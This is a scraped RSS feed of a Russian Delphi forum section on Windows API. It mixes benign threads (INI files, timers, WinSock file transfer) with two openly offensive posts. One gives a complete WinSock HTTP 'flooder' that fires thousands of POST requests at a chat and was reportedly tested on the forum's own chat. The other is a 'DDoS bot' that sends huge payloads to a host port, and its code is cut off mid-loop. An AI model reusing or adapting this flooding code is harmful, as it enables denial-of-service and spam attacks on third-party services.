&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt; &lt;br /&gt; &lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/30-573-1</guid>
</item>
<item>
<title>WinAPI справка RUS</title>
<link>https://delfcode.ru/forum/30-402-1</link>
<pubDate>Sat, 11 Feb 2012 11:20:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: FREE &amp;amp; COOL&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 7</description>
<content:encoded>&lt;b&gt;&lt;span style=&quot;color:red&quot;&gt;&lt;span style=&quot;font-size:20pt;&quot;&gt;WinAPI справка RUS&lt;/span&gt;&lt;/span&gt; &lt;br /&gt; &lt;/b&gt; &lt;br /&gt; Скачать на всей скорости! &lt;br /&gt; http://www.bit2bit.ru/1257210</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>cool1</dc:creator>
<guid>https://delfcode.ru/forum/30-402-1</guid>
</item>
<item>
<title>Работа с ini файлами</title>
<link>https://delfcode.ru/forum/30-613-1</link>
<pubDate>Tue, 31 Jan 2012 09:10:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: На WinApi&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: vvova15&lt;br /&gt;Количество ответов: 11</description>
<content:encoded>Здравствуйте. Очень нужен модуль для работы с ini файлами ТОЛЬКО на API. Т.к стандартный модуль IniFiles не устраивает из-за VCL ных функций и своего размера. Он сам-то не маленький плюс еще к себе присоединяет модуль classes, который вообще монстр. Сейчас пытаюсь перепилить некоторые VCL ные функции на апи, но это адово сложно, ибо одна функа приплетает еще кучу, а те еще и еще.... &lt;br /&gt;&lt;br /&gt; P.S. Гуглил долго и упорно, но кроме фигни ничего не нашел... ((( &lt;br /&gt; P.S.S. За помощь обделю большими плюсами.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Волк-1024</dc:creator>
<guid>https://delfcode.ru/forum/30-613-1</guid>
</item>
<item>
<title>HTTP флудер</title>
<link>https://delfcode.ru/forum/30-493-1</link>
<pubDate>Tue, 01 Nov 2011 04:07:45 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: API&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Выкладываю пример флудера по протоколу HTTP (сайты, чаты). Флудит методом POST запросов, отсылающихся при помощи WinSock. Чуть переделать, и может применяться даже как автореггер (если капчи нет). Тестировался на чате дельфкода (без палева &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; ) и еще одном чате. Структуру запроса для отправки узнавать с помощью HTTP сниффера. &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program flood; &lt;br /&gt;&lt;br /&gt; {$APPTYPE CONSOLE} &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WinSock, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SysUtils; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; WSA:TWSAData; &lt;br /&gt; S:TSocket; &lt;br /&gt; sin:TSockAddr; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt; Req = &apos;nick=You_Name&amp;hash=You_Hash&amp;d=send&amp;last=1459&amp;msg=Text_Message&apos;; &lt;br /&gt; IPHost = &apos;xxx.xxx.xxx.xxx&apos;; &lt;br /&gt; MaxMess = 3000; &lt;br /&gt; x = #13#10; &lt;br /&gt;&lt;br /&gt; function CreateSock : boolean; &lt;br /&gt; begin &lt;br /&gt; result:=false; &lt;br /&gt; WSAStartup($101, WSA&amp;#41;; &lt;br /&gt; S:=Socket(AF_INET, SOCK_STREAM, 0&amp;#41;; &lt;br /&gt; sin.sin_family:=AF_INET; &lt;br /&gt; sin.sin_port:=htons(80&amp;#41;; &lt;br /&gt; sin.sin_addr.S_addr:=inet_addr(IPHost&amp;#41;; &lt;br /&gt; if (Connect(s, sin, SizeOf(sin&amp;#41;&amp;#41; = 0&amp;#41; then &lt;br /&gt; result:=true; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure SendText(Text:string&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if send(s, Text&amp;#91;1], Length(Text&amp;#41;, 0&amp;#41; = socket_error &lt;br /&gt; then MessageBox(0,&apos;Error&apos;,&apos;PiPeC&apos;,0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; i:integer; &lt;br /&gt; y:string; &lt;br /&gt; begin &lt;br /&gt; If CreateSock then begin &lt;br /&gt; y:= &lt;br /&gt; &apos;POST /script.php HTTP/1.1&apos;+x+ &lt;br /&gt; &apos;User-Agent: Opera/9.80 (Windows NT 6.1; U; ru&amp;#41; Presto/2.8.131 Version/11.10&apos;+x+ &lt;br /&gt; &apos;Host: cp1251.darkoff.ru&apos;+x+ &lt;br /&gt; &apos;Accept: */*;q=0.1&apos;+x+ &lt;br /&gt; &apos;Accept-Encoding: gzip,deflate&apos;+x+ &lt;br /&gt; &apos;Accept-Language: ru-RU,ru;q=0.9,en;q=0.8&apos;+x+ &lt;br /&gt; &apos;Referer: http&amp;#58;//yandex.ru&apos;+ x + &lt;br /&gt; &apos;Cookie2: $Version=1&apos; + x + &lt;br /&gt; &apos;Content-length: &apos;+IntToStr(Length(Req&amp;#41;&amp;#41;+x+ &lt;br /&gt; &apos;Content-Type: application/x-www-form-urlencoded&apos;+x+ &lt;br /&gt; &apos;Connection: Keep-Alive&apos;+x+x+ &lt;br /&gt; Req; &lt;br /&gt; for i:=1 to MaxMess do begin &lt;br /&gt; SendText(y&amp;#41;; &lt;br /&gt; WriteLn(IntToStr(i&amp;#41;+&apos; Message&apos;&amp;#41;; &lt;br /&gt; sleep(50&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; WriteLn(&apos;Off&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; CloseSocket(S&amp;#41;; &lt;br /&gt; WSACleanup(&amp;#41;; &lt;br /&gt; ReadLn; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-493-1</guid>
</item>
<item>
<title>Таймер</title>
<link>https://delfcode.ru/forum/30-558-1</link>
<pubDate>Mon, 19 Sep 2011 13:48:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Myips&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>Дайте пожалуйста пример таймера на WinApi.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Myips</dc:creator>
<guid>https://delfcode.ru/forum/30-558-1</guid>
</item>
<item>
<title>Учебник</title>
<link>https://delfcode.ru/forum/30-544-1</link>
<pubDate>Fri, 05 Aug 2011 12:51:47 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Myips&lt;br /&gt;Автор последнего сообщения: vvova15&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Всем привет, не могли бы вы посоветовать книгу или материал для программирования на чистом api.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Myips</dc:creator>
<guid>https://delfcode.ru/forum/30-544-1</guid>
</item>
<item>
<title>WinInet Example</title>
<link>https://delfcode.ru/forum/30-516-1</link>
<pubDate>Thu, 16 Jun 2011 08:40:23 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi WinInet Example&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Пример работы с протоколом HTTP на WinInet. Данный пример получает курс доллара на текущий и следующий день. Данные парсятся с сайта ЦБР.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-516-1</guid>
</item>
<item>
<title>Извлечение файла из резурсов приложения</title>
<link>https://delfcode.ru/forum/30-453-1</link>
<pubDate>Wed, 18 May 2011 06:59:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: vvova15&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>в общем такой вопрос: для извелечения ресурсов я использую такуй процедуру: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure ExtractRes(ResType, ResName, ResNewName : String&amp;#41;; &lt;br /&gt; var Res : TResourceStream; &lt;br /&gt; begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType&amp;#41;&amp;#41;; &lt;br /&gt; Res.SavetoFile(ResNewName&amp;#41;; Res.Free; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; все бы ничего, но описание класса TResourceStream находиться в модуле classes, который дает привес около 80 кб к стабу. &lt;br /&gt; можно ли как то переписать ее на winapi?</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>vvova15</dc:creator>
<guid>https://delfcode.ru/forum/30-453-1</guid>
</item>
<item>
<title>WinSock передача файла</title>
<link>https://delfcode.ru/forum/30-467-1</link>
<pubDate>Sun, 10 Apr 2011 14:32:07 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Передача файла через сокеты&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Демонстрация простой передачи файлов через TCP сокеты. В инете подобного вроде бы нет. Код без всякого рода указателей на файл и т.д. Простая передача и прием. &lt;p&gt; &lt;span style=&quot;font-size:17pt;&quot;&gt;Клиент (передатчик):&lt;/span&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; program Project1; &lt;br /&gt;&lt;br /&gt; {$APPTYPE CONSOLE} &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winsock; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt; Port = 2222; &lt;br /&gt; IP = &apos;10.10.10.10.&apos;; &lt;br /&gt; Name = &apos;C:&amp;#92;11.exe&apos;; &lt;br /&gt; var &lt;br /&gt; s:TSocket; &lt;br /&gt; WSA:TWSAData; &lt;br /&gt; addr:TSockAddr; &lt;br /&gt;&lt;br /&gt; procedure SendFile(filename:string&amp;#41;; &lt;br /&gt; var &lt;br /&gt; MyFile : file; &lt;br /&gt; n : integer; &lt;br /&gt; Buff : array &amp;#91;1..127] of byte; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileMode:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AssignFile(MyFile, filename&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reset(MyFile, 1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while not eof(MyFile&amp;#41; do begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;blockread(MyFile,buff,sizeof(buff&amp;#41;,n&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;send(s,buff,sizeof(buff&amp;#41;,0&amp;#41;; &lt;br /&gt; //&amp;nbsp;&amp;nbsp;sleep(5&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; writeln(&apos;Sended&apos;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function InstallConnect : boolean; &lt;br /&gt; begin &lt;br /&gt; WSAStartup(MakeWord(2, 0&amp;#41;, WSA&amp;#41;; &lt;br /&gt; s := Socket(PF_INET, SOCK_STREAM, 0&amp;#41;; &lt;br /&gt; addr.sin_family := AF_INET; &lt;br /&gt; addr.sin_port := htons(port&amp;#41;; &lt;br /&gt; addr.sin_addr.S_addr := inet_addr(ip&amp;#41;; &lt;br /&gt; if (connect(s, Addr, SizeOf(Addr&amp;#41;&amp;#41; = 0&amp;#41; then &lt;br /&gt; result:=true else result:=false; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure Close; &lt;br /&gt; begin &lt;br /&gt; CloseSocket(s&amp;#41;; &lt;br /&gt; WSACleanup; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; If InstallConnect then &lt;br /&gt; SendFile(name&amp;#41;; &lt;br /&gt; Close(&amp;#41;; &lt;br /&gt; readln; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;span style=&quot;font-size:17pt;&quot;&gt;Сервер (получатель):&lt;/span&gt; &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program Project1; &lt;br /&gt; {$APPTYPE CONSOLE} &lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;windows, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;winsock; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt; Port = 2222; &lt;br /&gt; name = &apos;D:&amp;#92;111.exe&apos;; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; WSA:TWSADATA; &lt;br /&gt; Sock, lst_sock:TSocket; &lt;br /&gt; addr:TSockAddr; &lt;br /&gt; f:file; &lt;br /&gt; buf:array&amp;#91;1..127] of byte; &lt;br /&gt;&lt;br /&gt; procedure write;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; begin &lt;br /&gt; while recv(sock,buf,127,0&amp;#41;&gt;0 do &lt;br /&gt; blockwrite(f,buf,sizeof(buf&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure Install; &lt;br /&gt; var &lt;br /&gt; f:file; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAStartup(MakeWord(2, 0&amp;#41;, WSA&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock := socket(PF_INET, SOCK_STREAM, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_family := PF_INET; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_port := htons(2222&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;addr.sin_addr.s_addr := INADDR_ANY; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bind(sock, addr, sizeof(addr&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen(sock, SOMAXCONN&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lst_sock := accept(sock, nil, nil&amp;#41;; &lt;br /&gt;&lt;br /&gt; FileMode:=2; &lt;br /&gt; AssignFile(f, name&amp;#41;; &lt;br /&gt; Rewrite(f, 1&amp;#41;; &lt;br /&gt;&lt;br /&gt; while recv(lst_sock,buf,127,0&amp;#41;&gt;0 do begin &lt;br /&gt; writeln(&apos;Downloading...&apos;&amp;#41;; &lt;br /&gt; blockwrite(f,buf,sizeof(buf&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; CloseFile(f&amp;#41;; &lt;br /&gt; writeln(&apos;File recved&apos;&amp;#41;; &lt;br /&gt; readln; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; randomize(&amp;#41;; &lt;br /&gt; Install; &lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; &lt;span style=&quot;font-size:11pt;&quot;&gt;&lt;span style=&quot;color:red&quot;&gt;&amp;copy; Gravitas&lt;/span&gt;&lt;/span&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-467-1</guid>
</item>
<item>
<title>Delphi WinSock example</title>
<link>https://delfcode.ru/forum/30-445-1</link>
<pubDate>Fri, 18 Feb 2011 12:21:57 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Пример клиент-серверного приложения на винсоке. Нашел у себя на компе. Самое то для изучения WinSock.</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-445-1</guid>
</item>
<item>
<title>Winsock DDoS&amp;#92;Flood</title>
<link>https://delfcode.ru/forum/30-410-1</link>
<pubDate>Sat, 01 Jan 2011 16:52:12 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Внимаем...&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: gravitas&lt;br /&gt;Количество ответов: 1</description>
<content:encoded>Пишу свой ддос бот. Вот представляю вам, так сказать, &quot;сырье&quot;. Код генерирует переменную размером 100000нульнуль... символов, коннектится к айпишнику (в данном случае мой локальный - 10.10.34.17) к порту (в данном случае - 135) и посылает ее 500 раз. Фактически используется только 1 модуль - winsock. Модуль windows - только для оповещающих мессаг. Вобщем внимаем код: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;program Project1; &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Winsock, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TDynStringArray = array of string; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TServer = class(TObject&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hSocket:&amp;nbsp;&amp;nbsp;TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TSockAddrIn; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsaData:&amp;nbsp;&amp;nbsp;TWSAData; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Connect; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure SendData(Data: String&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;function GetIPFromHost(const HostName: string&amp;#41;: string; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Server:&amp;nbsp;&amp;nbsp;&amp;nbsp;TServer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Close:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Boolean; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hPort: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hHost: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;textflood:string; &lt;br /&gt;&lt;br /&gt; function TServer.GetIPFromHost(const HostName: string&amp;#41;: string; &lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TaPInAddr = array&amp;#91;0..10] of PInAddr; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PaPInAddr = ^TaPInAddr; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;phe: PHostEnt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pptr: PaPInAddr; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i: Integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;phe := GetHostByName(PChar(HostName&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if phe = nil then Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pPtr := PaPInAddr(phe^.h_addr_list&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i := 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while pPtr^&amp;#91;i] &lt;&gt; nil do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := inet_ntoa(pptr^&amp;#91;i]^&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TServer.SendData(Data: String&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Len: LongInt; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Len := Length(Data&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Send(hSocket, Data&amp;#91;1], Len, 0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TServer.Connect; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer: Array&amp;#91;0..8192] Of Char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;iRecv: Integer; &lt;br /&gt; Begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (WSAStartup($0202, wsaData&amp;#41; &lt;&gt; 0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Close := False; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hSocket := Socket(AF_INET, SOCK_STREAM, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_family&amp;nbsp;&amp;nbsp;&amp;nbsp;:= AF_INET; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:= htons(hPort&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost&amp;#41;&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Winsock.Connect(hSocket, Addr, SizeOf(Addr&amp;#41;&amp;#41; = 0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt; MessageBoxA(0, &apos;Connected!&apos;, &apos;Connected!&apos;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for s:=1 to 10000000 do begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;textflood:=textflood+&apos;a&apos;; &lt;br 